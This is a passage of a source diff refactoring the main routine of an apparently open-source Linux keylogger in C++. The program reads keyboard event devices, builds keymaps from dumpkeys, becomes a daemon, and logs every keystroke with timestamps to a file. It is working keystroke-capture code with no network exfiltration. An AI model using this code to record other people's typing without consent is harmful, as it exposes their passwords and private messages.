'\0', sizeof(char_keytable)); - memset(shift_keytable, '\0', sizeof(shift_keytable)); - memset(altgr_keytable, '\0', sizeof(altgr_keytable)); + // custom map will be used; erase existing US keytables + memset(char_keys, '\0', sizeof(char_keys)); + memset(shift_keys, '\0', sizeof(shift_keys)); + memset(altgr_keys, '\0', sizeof(altgr_keys)); - stdin = freopen(keymap_filename, "r", stdin); - unsigned int i = 0; + stdin = freopen(args.keymap, "r", stdin); + unsigned int i = -1; unsigned int line_number = 0; - int index; char func_string[32]; char line[32]; while (!feof(stdin)) { - if (i >= sizeof(char_or_func)) break; // only read up to 128 keycode bindings (currently 106:) + if (++i >= sizeof(char_or_func)) break; // only ever read up to 128 keycode bindings (currently N_KEYS_DEFINED are used) - if (char_or_func[i] != '_') { - if(fgets(line, sizeof(line), stdin)); // wrapped in if() to avoid compiler warning; handle errors later + if (is_used_key(i)) { + if(fgets(line, sizeof(line), stdin)); // wrapped in if() to avoid compiler warning ++line_number; } - if (char_or_func[i] == 'c') { - - index = to_char_array_index(i); - if (sscanf(line, "%lc %lc %lc\n", &char_keytable[index], &shift_keytable[index], &altgr_keytable[index]) < 2) { - fprintf(stderr, "%s: Error parsing keymap '%s' on line %d: %s\n", argv[0], keymap_filename, line_number, line); - return EXIT_FAILURE; + if (is_char_key(i)) { + unsigned int index = to_char_keys_index(i); + if (sscanf(line, "%lc %lc %lc", &char_keys[index], &shift_keys[index], &altgr_keys[index]) < 2) { + error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Too few input characters on line"); } } - if (char_or_func[i] == 'f') { - - if (i != KEY_SPACE) { // space causes empty string and trouble - if (sscanf(line, "%s\n", &func_string[0]) != 1 || strlen(func_string) > 7) { - fprintf(stderr, "%s: Error parsing keymap '%s' on line %d: %s\n", argv[0], keymap_filename, line_number, line); - return EXIT_FAILURE; - } - strcpy(func_keytable[to_func_array_index(i)], func_string); - } + if (is_func_key(i)) { + if (i == KEY_SPACE) continue; // space causes empty string and trouble + if (sscanf(line, "%7s", &func_string[0]) != 1) + error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Invalid function key string"); // does this ever happen? + strcpy(func_keys[to_func_keys_index(i)], func_string); } - ++i; } //\ while (!feof(stdin)) fclose(stdin); + + if (line_number < N_KEYS_DEFINED) +#define QUOTE(x) #x + error(EXIT_FAILURE, 0, "Too few lines in input keymap '%s'; There should be " QUOTE(N_KEYS_DEFINED) " lines!", args.keymap); - // get keymap used by the system and optionally export it to file - } else if ((flag_start && !flag_us_keymap) || flag_export) { + + } // get keymap used by the system and optionally export it to file + else if ((args.start && !args.us_keymap) || args.export_keymap) { // custom map will be used; erase existing US keymapping - memset(char_keytable, '\0', sizeof(char_keytable)); - memset(shift_keytable, '\0', sizeof(shift_keytable)); - memset(altgr_keytable, '\0', sizeof(altgr_keytable)); + memset(char_keys, '\0', sizeof(char_keys)); + memset(shift_keys, '\0', sizeof(shift_keys)); + memset(altgr_keys, '\0', sizeof(altgr_keys)); // get keymap from dumpkeys // if one knows of a better, more portable way to get wchar_t-s from symbolic keysym-s from `dumpkeys` or `xmodmap` or another, PLEASE LET ME KNOW! kthx - std::stringstream ss, dump(exec("dumpkeys -n | grep '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode'")); // see example output after i.e. `loadkeys slovene` - // above was "dumpkeys -n | grep -P '^keycode|^\tshift\tkeycode|^\taltgr\tkeycode'", but grep is more portable without -P switch + std::stringstream ss, dump(execute("dumpkeys -n | grep '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode'")); // see example output after i.e. `loadkeys slovene` std::string line; - unsigned int keycode = 0; // keycode + unsigned int i = 0; // keycode int index; - int utf8code; // utf-8 code of keysym answering keycode + int utf8code; // utf-8 code of keysym answering keycode i while (std::getline(dump, line)) { ss.clear(); @@ -323,299 +305,256 @@ int main(int argc, char **argv) { index = line.find("U+", index); } - // if line starts with 'keycode' - if (line[0] == 'k') { - ++keycode; + assert(line.size() > 0); + if (line[0] == 'k') { // if line starts with 'keycode' - if (keycode >= sizeof(char_or_func)) break; // only ever map keycodes up to 128 - - if (char_or_func[keycode] == 'c') { + if (++i >= sizeof(char_or_func)) break; // only ever map keycodes up to 128 (currently N_KEYS_DEFINED are used) + // TODO: move these two (↓↑) lines out of the parent if() + if (is_char_key(i)) { - index = to_char_array_index(keycode); // only map character keys of keyboard + index = to_char_keys_index(i); // only map character keys of keyboard ss << &line[14]; // 1st keysym starts at index 14 (skip "keycode XXX = ") ss >> std::hex >> utf8code; - // 0XB00CLUELESS: 0xb00 is added to some keysyms that are preceeded with '+'; i don't really know why; see `man keymaps`; `man loadkeys` says numeric keysym values aren't to be relied on, orly? + // 0XB00CLUELESS: 0xB00 is added to some keysyms that are preceeded with '+'; I don't really know why; see `man keymaps`; `man loadkeys` says numeric keysym values aren't to be relied on, orly? if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; - char_keytable[index] = static_cast(utf8code); + char_keys[index] = static_cast(utf8code); // if there is a second keysym column, assume it is a shift column if (ss >> std::hex >> utf8code) { if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; - shift_keytable[index] = static_cast(utf8code); + shift_keys[index] = static_cast(utf8code); } // if there is a third keysym column, assume it is an altgr column if (ss >> std::hex >> utf8code) { if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; - //utf8code = utf8code & 0xFF00 ? 0 : utf8code; // commented: just use w/e value we get - altgr_keytable[index] = static_cast(utf8code); + altgr_keys[index] = static_cast(utf8code); } - } //\ if (char_or_func[keycode] == 'c') + } //\ if (is_char_key(i)) continue; } //\ if (line[0] == 'k') - index = to_char_array_index(keycode); + index = to_char_keys_index(i); - // if line starts with 'shift keycode' - if (char_or_func[keycode] == 'c' && line[1] == 's') { - ss << &line[21]; // 1st keysym starts at index 21 (skip "\tshift\tkeycode XXX = ") + // if line starts with 'shift i' + if (is_char_key(i)) { + ss << &line[21]; // 1st keysym starts at index 21 (skip "\tshift\tkeycode XXX = " or "\taltgr\tkeycode XXX = ") ss >> std::hex >> utf8code; if (line[21] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; // see line 0XB00CLUELESS - shift_keytable[index] = static_cast(utf8code); + + if (line[1] == 's') // if line starts with "shift" + shift_keys[index] = static_cast(utf8code); + if (line[1] == 'a') // if line starts with "altgr" + altgr_keys[index] = static_cast(utf8code); } - - // if line starts with 'altgr keycode' - if (char_or_func[keycode] == 'c' && line[1] == 'a') { - ss << &line[21]; // 1st keysym starts at index 21 (skip "\taltgr\tkeycode XXX = ") - ss >> std::hex >> utf8code; - if (line[21] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; // see line 0XB00CLUELESS - //utf8code = utf8code & 0xFF00 ? 0 : utf8code; // commented: just use w/e value we get - altgr_keytable[index] = static_cast(utf8code); - } - } //\ while (getline(dump, line)) // export keymap to file as requested - if (flag_export) { - int keymap_fd; - if ((keymap_fd = open(keymap_filename, O_CREAT | O_EXCL | O_WRONLY)) == -1) { - fprintf(stderr, "%s: Error opening keymap output file '%s': %s\n", argv[0], keymap_filename, strerror(errno)); - return EXIT_FAILURE; - } + if (args.export_keymap) { + int keymap_fd = open(args.keymap, O_CREAT | O_EXCL | O_WRONLY, 0644); + if (keymap_fd == -1) + error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.keymap); char buffer[32]; - int buflen; + int buflen = 0; for (unsigned int i = 0; i < sizeof(char_or_func); ++i) { - if (char_or_func[i] == 'c') { - index = to_char_array_index(i); - if (altgr_keytable[index] != L'\0') - buflen = sprintf(buffer, "%lc %lc %lc\n", char_keytable[index], shift_keytable[index], altgr_keytable[index]); + if (is_char_key(i)) { + index = to_char_keys_index(i); + if (altgr_keys[index] != L'\0') + buflen = sprintf(buffer, "%lc %lc %lc\n", char_keys[index], shift_keys[index], altgr_keys[index]); else - buflen = sprintf(buffer, "%lc %lc\n", char_keytable[index], shift_keytable[index]);; - write(keymap_fd, buffer, buflen); - } else if (char_or_func[i] == 'f') { - buflen = sprintf(buffer, "%s\n", func_keytable[to_func_array_index(i)]); - write(keymap_fd, buffer, buflen); + buflen = sprintf(buffer, "%lc %lc\n", char_keys[index], shift_keys[index]);; } + else if (is_func_key(i)) { + buflen = sprintf(buffer, "%s\n", func_keys[to_func_keys_index(i)]); + } + + if (is_used_key(i)) + if (write(keymap_fd, buffer, buflen) < buflen) + error(EXIT_FAILURE, errno, "Error writing to keymap file '%s'", args.keymap); } close(keymap_fd); - fprintf(stderr, "%s: Written keymap to file '%s'\n", argv[0], keymap_filename); - return EXIT_SUCCESS; - } //\ if (flag_export) + error(EXIT_SUCCESS, 0, "Success writing keymap to file '%s'", args.keymap); + exit(EXIT_SUCCESS); + } //\ if (args.export_keymap) } -#ifndef INPUT_EVENT_DEVICE // sometimes X in /dev/input/eventX is different from one reboot to another, in that case, determine it dynamically - - char *INPUT_EVENT_DEVICE; - - if (device_filename == NULL) { // no device given with -d switch + if (args.device == NULL) { // no device given with -d switch // extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.) - std::string output = exec("grep Name /proc/bus/input/devices | grep -nE '[Kk]eyboard|kbd'"); - if (output == "ERR") { // if pipe errors, exit - fprintf(stderr, "%s: Cannot determine keyboard input event device: %s\n", argv[0], strerror(errno)); - return EXIT_FAILURE; - } + std::string output = execute("grep Name /proc/bus/input/devices | grep -nE '[Kk]eyboard|kbd'"); - // the correct input event # is (output - 1) - std::stringstream input_fd_filename; - input_fd_filename << INPUT_EVENT_PATH; - input_fd_filename << (atoi(output.c_str()) - 1); + std::stringstream input_dev_index; + input_dev_index << INPUT_EVENT_PATH; + input_dev_index << "event"; + input_dev_index << (atoi(output.c_str()) - 1); // the correct input event # is (output - 1) - INPUT_EVENT_DEVICE = (char*)input_fd_filename.str().c_str(); - - } else INPUT_EVENT_DEVICE = device_filename; // event device supplied as -d argument - -#endif//INPUT_EVENT_DEVICE + args.device = const_cast(input_dev_index.str().c_str()); // const_cast safe because original isn't modified + } + else { // event device supplied as -d argument + std::string d(args.device); + std::string::size_type i = d.find_last_of('/'); + args.device = const_cast((std::string(INPUT_EVENT_PATH) + d.substr(i == std::string::npos ? 0 : i + 1)).c_str()); + } - { // catch SIGHUP, SIGINT and SIGTERM signals to exit gracefully - - struct sigaction act = {}; - act.sa_handler = signal_handler; - sigaction(SIGHUP, &act, NULL); - sigaction(SIGINT, &act, NULL); - sigaction(SIGTERM, &act, NULL); - } //\ signals + set_signal_handling(); - { // everything went well up to now, let's become daemon - - switch (fork()) { - case 0: break; // child continues - case -1: // error - fprintf(stderr, "%s: Error creating child process: %s\n", argv[0], strerror(errno)); - return EXIT_FAILURE; - default: return EXIT_SUCCESS; // parent exits - } - setsid(); - if(chdir("/")); // wrapped in if() to avoid compiler warning - switch (fork()) { - case 0: break; // second child continues - case -1: - fprintf(stderr, "%s: Error creating second child process: %s\n", argv[0], strerror(errno)); - return EXIT_FAILURE; - default: return EXIT_SUCCESS; // parent exits - } - close(0); // drop stdin - } //\ daemon + //~ daemonize(); + if (daemon(0, 0) == -1) // become daemon + error(EXIT_FAILURE, errno, "Failed to become daemon"); // create temp file carrying PID for later retrieval - int temp_fd = open(TMP_PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644); + int temp_fd = open(PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644); if (temp_fd != -1) { char pid_str[16] = {0}; sprintf(pid_str, "%d", getpid()); if (write(temp_fd, pid_str, strlen(pid_str)) == -1) { - fprintf(stderr, "%s: Error writing to temporary file '" TMP_PID_FILE "': %s\n", argv[0], strerror(errno)); + error(EXIT_FAILURE, errno, "Error writing to PID file '" PID_FILE "'"); } } else { if (errno == EEXIST) - fprintf(stderr, "%s: Another process already running. Quitting.\n", argv[0]); - else fprintf(stderr, "%s: Error opening temporary file '" TMP_PID_FILE "': %s\n", argv[0], strerror(errno)); - return EXIT_FAILURE; + error(EXIT_FAILURE, errno, "Another process already running (" PID_FILE ")? (Quitting.)"); + else + error(EXIT_FAILURE, errno, "Error opening PID file '" PID_FILE "'"); } //\ temp file // open input device for reading - // TODO: canonical input event device + symlink - int input_fd = open(INPUT_EVENT_DEVICE, O_RDONLY | O_NONBLOCK); + input_fd = open(args.device, O_RDONLY); if (input_fd == -1) { - fprintf(stderr, "%s: Error opening input event device '%s': %s\n", argv[0], INPUT_EVENT_DEVICE, strerror(errno)); - remove(TMP_PID_FILE); - return EXIT_FAILURE; + remove(PID_FILE); + error(EXIT_FAILURE, errno, "Error opening input event device '%s'", args.device); } - // if log file is other than default, then better seteuid() to the getuid() in order to ensure user can't write to where she shouldn't - if (strcmp(log_filename, DEFAULT_LOG_FILE) != 0) { + // if log file is other than default, then better seteuid() to the getuid() in order to ensure user can't write to where she shouldn't! + args.logfile = realpath(args.logfile, NULL); // avoid relative paths + if (strcmp(args.logfile, DEFAULT_LOG_FILE) != 0) { seteuid(getuid()); setegid(getgid()); } // open log file as stdout (if file doesn't exist, create it with safe 0600 permissions) umask(0177); - stdout = freopen(log_filename, "a", stdout); + stdout = freopen(args.logfile, "a", stdout); if (stdout == NULL) { - fprintf(stderr, "%s: Error opening output file '%s': %s\n", argv[0], log_filename, strerror(errno)); - remove(TMP_PID_FILE); - return EXIT_FAILURE; + remove(PID_FILE); + error(0, errno, "Error opening output file '%s'", args.logfile); + free(args.logfile); // free memory allocated by realpath() + exit(EXIT_FAILURE); } + free(args.logfile); // free memory allocated by realpath() // we've got everything we need, now drop privileges by becoming 'nobody' - setgid(65534); setuid(65534); + setegid(65534); seteuid(65534); unsigned int scan_code, prev_code = 0; // the key code of the pressed key (some codes are from "scan code set 1", some are different (see ) struct input_event event; - char timestamp[32]; // timestamp string, long enough to hold "\n%F %T%z > " + char timestamp[32]; // timestamp string, long enough to hold format "\n%F %T%z > " char repeat[16]; // holds "key repeated" string of the format "" bool shift_in_effect = false; bool altgr_in_effect = false; bool ctrl_in_effect = false; // used for identifying Ctrl+C / Ctrl+D - int count_repeats = 0; // count_repeats differs from the actual number of repeated characters!! only OS knows how these two values are related (by respecting configured repeat speed and delay) + int count_repeats = 0; // count_repeats differs from the actual number of repeated characters!! only the OS knows how these two values are related (by respecting configured repeat speed and delay) time_t cur_time; time(&cur_time); - strftime(timestamp, sizeof(timestamp), "\n%F %T%z > ", localtime(&cur_time)); +#define TIME_FORMAT "%F %T%z > " + strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&cur_time)); fprintf(stdout, "Logging started ...\n%s", timestamp); fflush(stdout); - while (true) { // infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM - - if (flag_kill) break; // if process received kill signal, end it - // these event.value-s aren't defined in ? #define EV_MAKE 1 // when key pressed #define EV_BREAK 0 // when key released #define EV_REPEAT 2 // when key switches to repeating after short delay - while (read(input_fd, &event, sizeof(struct input_event)) > 0) { + while (read(input_fd, &event, sizeof(struct input_event)) > 0) { // infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd) + + if (event.type != EV_KEY) continue; // keyboard events are always of type EV_KEY - if (event.type == EV_KEY) { // keyboard events always of type EV_KEY - - scan_code = event.code; - - if (scan_code >= sizeof(char_or_func)) { // keycode out of range, log error - fprintf(stdout, "", scan_code); - continue; - } - - // on key repeat ; must be before on key press - if (event.value == EV_REPEAT) { - ++count_repeats; - } else if (count_repeats) { - if (prev_code == KEY_RIGHTSHIFT || prev_code == KEY_LEFTCTRL || - prev_code == KEY_RIGHTALT || prev_code == KEY_LEFTALT || - prev_code == KEY_LEFTSHIFT || prev_code == KEY_RIGHTCTRL); // do nothing if the cause of repetition are these function keys - else { - if (flag_nofunc && char_or_func[prev_code] == 'f'); // if repeated was function key, and if we don't log function keys, then don't log repeat either - else { - sprintf(repeat, "<#+%d>", count_repeats); // else print some dubious note of repetition - fprintf(stdout, "%s", repeat); - } - } - count_repeats = 0; - } - - // on key press - if (event.value == EV_MAKE) { - - // on ENTER key or Ctrl+C/Ctrl+D event append timestamp - if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER || - (ctrl_in_effect && (scan_code == KEY_C || scan_code == KEY_D))) { - strftime(timestamp, sizeof(timestamp), "\n%F %T%z > ", localtime(&event.time.tv_sec)); - if (ctrl_in_effect) - fprintf(stdout, "%lc", char_keytable[to_char_array_index(scan_code)]); // log C or D - fprintf (stdout, "%s", timestamp); // then newline and timestamp - continue; // but don't log "" - } - - if (scan_code == KEY_LEFTSHIFT || scan_code == KEY_RIGHTSHIFT) - shift_in_effect = true; - - if (scan_code == KEY_RIGHTALT) - altgr_in_effect = true; - - if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL) - ctrl_in_effect = true; - - // print character or string responding to received keycode - if (char_or_func[scan_code] == 'c') { - if (altgr_in_effect) { - wchar_t wch = altgr_keytable[to_char_array_index(scan_code)]; - if (wch != L'\0') fprintf(stdout, "%lc", wch); - else if (shift_in_effect) - fprintf(stdout, "%lc", shift_keytable[to_char_array_index(scan_code)]); - else - fprintf(stdout, "%lc", char_keytable[to_char_array_index(scan_code)]); - } else if (shift_in_effect) - fprintf(stdout, "%lc", shift_keytable[to_char_array_index(scan_code)]); - else - fprintf(stdout, "%lc", char_keytable[to_char_array_index(scan_code)]); - } else if (char_or_func[scan_code] == 'f') { - if (!flag_nofunc) { // don't log function keys if --no-func-keys requested - fprintf(stdout, "%s", func_keytable[to_func_array_index(scan_code)]); - } else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) { - // but always log a single space for Space and Tab keys - fprintf(stdout, " "); - } - } else fprintf(stdout, "", scan_code); // keycode is neither of character nor function, log error - - } - - // on key release - if (event.value == EV_BREAK) { - if (scan_code == KEY_LEFTSHIFT || scan_code == KEY_RIGHTSHIFT) - shift_in_effect = false; - if (scan_code == KEY_RIGHTALT) - altgr_in_effect = false; - if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL) - ctrl_in_effect = false; - } - - prev_code = scan_code; - } + scan_code = event.code; + + if (scan_code >= sizeof(char_or_func)) { // keycode out of range, log error + fprintf(stdout, "", scan_code); + continue; } - fflush(stdout); + // on key repeat ; must check before on key press + if (event.value == EV_REPEAT) { + ++count_repeats; + } else if (count_repeats) { + if (prev_code == KEY_RIGHTSHIFT || prev_code == KEY_LEFTCTRL || + prev_code == KEY_RIGHTALT || prev_code == KEY_LEFTALT || + prev_code == KEY_LEFTSHIFT || prev_code == KEY_RIGHTCTRL); // do nothing if the cause of repetition are these function keys + else { + if (args.nofunc && is_func_key(prev_code)); // if repeated was function key, and if we don't log function keys, then don't log repeat either + else { + sprintf(repeat, "<#+%d>", count_repeats); // else print some dubious note of repetition + fprintf(stdout, "%s", repeat); + } + } + count_repeats = 0; // reset count for future use + } - sleep(1); - } //\ while (true) + // on key press + if (event.value == EV_MAKE) { + + // on ENTER key or Ctrl+C/Ctrl+D event append timestamp + if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER || + (ctrl_in_effect && (scan_code == KEY_C || scan_code == KEY_D))) { + if (ctrl_in_effect) + fprintf(stdout, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D + strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&event.time.tv_sec)); + fprintf (stdout, "%s", timestamp); // then newline and timestamp + continue; // but don't log "" + } + + if (scan_code == KEY_LEFTSHIFT || scan_code == KEY_RIGHTSHIFT) + shift_in_effect = true; + if (scan_code == KEY_RIGHTALT) + altgr_in_effect = true; + if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL) + ctrl_in_effect = true; + + // print character or string coresponding to received keycode + if (is_char_key(scan_code)) { + if (altgr_in_effect) { + wchar_t wch = altgr_keys[to_char_keys_index(scan_code)]; + if (wch != L'\0') fprintf(stdout, "%lc", wch); + else if (shift_in_effect) + fprintf(stdout, "%lc", shift_keys[to_char_keys_index(scan_code)]); + else + fprintf(stdout, "%lc", char_keys[to_char_keys_index(scan_code)]); + } + else if (shift_in_effect) + fprintf(stdout, "%lc", shift_keys[to_char_keys_index(scan_code)]); + else + fprintf(stdout, "%lc", char_keys[to_char_keys_index(scan_code)]); + } + else if (is_func_key(scan_code)) { + if (!args.nofunc) { // only log function keys if --no-func-keys not requested + fprintf(stdout, "%s", func_keys[to_func_keys_index(scan_code)]); + } + else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) { + // but always log a single space for Space and Tab keys + fprintf(stdout, " "); + } + } + else fprintf(stdout, "", scan_code); // keycode is neither of character nor function, log error + } + + // on key release + if (event.value == EV_BREAK) { + if (scan_code == KEY_LEFTSHIFT || scan_code == KEY_RIGHTSHIFT) + shift_in_effect = false; + if (scan_code == KEY_RIGHTALT) + altgr_in_effect = false; + if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL) + ctrl_in_effect = false; + } + + prev_code = scan_code; + fflush(stdout); + } // while (read(input_fd)) // append final timestamp, close files and exit time(&cur_time); @@ -626,7 +565,7 @@ int main(int argc, char **argv) { close(input_fd); close(temp_fd); - remove(TMP_PID_FILE); + remove(PID_FILE); - return EXIT_SUCCESS; + exit(EXIT_SUCCESS); }